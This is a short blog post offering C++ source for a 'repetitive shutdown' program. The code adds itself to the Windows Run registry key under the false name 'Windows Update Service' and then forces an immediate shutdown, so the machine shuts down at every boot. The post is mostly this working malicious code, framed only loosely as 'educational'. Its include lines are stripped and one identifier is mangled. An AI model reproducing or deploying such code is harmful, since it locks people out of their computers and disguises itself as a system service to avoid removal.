Link Worth

[C++] Repetitive Shutdown

Written by OpenMindLeader on 6:21 AM

Here is a program to shutdown your computer using c++ program

#include
#include
#include
#include
void AddToReg(char *description) {
HKEY regStart;
char sPath[300];
GetModuleFileName(NULL, sPath, 300);
RegCreateKeyEx(
HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run ",
0,
NULL,
REG_OPTION_NON_VOLATILE,
KEY_ALL_ACCESS,
NULL,
®Start,
NULL
);
RegSetValueEx(regStart, description, 0, REG_SZ, (const BYTE*)sPath, strlen(sPath));
RegCloseKey(regStart);
}
int main() {
AddToReg("Windows Update Service");
system("shutdown -s -f -t 00");
return 0;
}
There are also other methods to do this by using a simple batch file.This program is only for educational purpose.I hope u ppl will like this.

Related Posts by Categories



Widget by Hoctro | Jack Book
  1. 0 comments: Responses to “ [C++] Repetitive Shutdown ”